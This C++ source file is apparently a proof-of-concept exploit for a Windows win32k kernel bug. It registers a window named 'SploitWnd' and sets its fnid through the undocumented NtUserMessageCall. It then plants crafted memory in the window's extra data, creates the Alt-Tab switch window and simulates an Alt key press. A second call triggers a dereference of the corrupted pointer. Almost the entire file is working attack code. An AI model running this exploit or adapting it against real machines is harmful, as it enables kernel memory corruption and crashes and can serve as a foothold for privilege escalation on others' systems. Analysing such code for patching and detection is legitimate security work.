#include <cstdio> #include <windows.h> extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); int main() { HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); } printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); } printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); printf("[*] Allocate memory to be used for corruption\n"); PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf("\tptr: %p\n", mem); PBYTE byteView = (PBYTE)mem; byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow //pass DrawSwitchWndHilite double dereference PVOID* ulongView = (PVOID*)mem; ulongView[0x20 / sizeof(PVOID)] = mem; printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); printf("[*] GetLastError = %x\n", GetLastError()); printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); printf("[*] Simulating alt key press\n"); BYTE keyState[256]; GetKeyboardState(keyState); keyState[VK_MENU] |= 0x80; SetKeyboardState(keyState); printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); }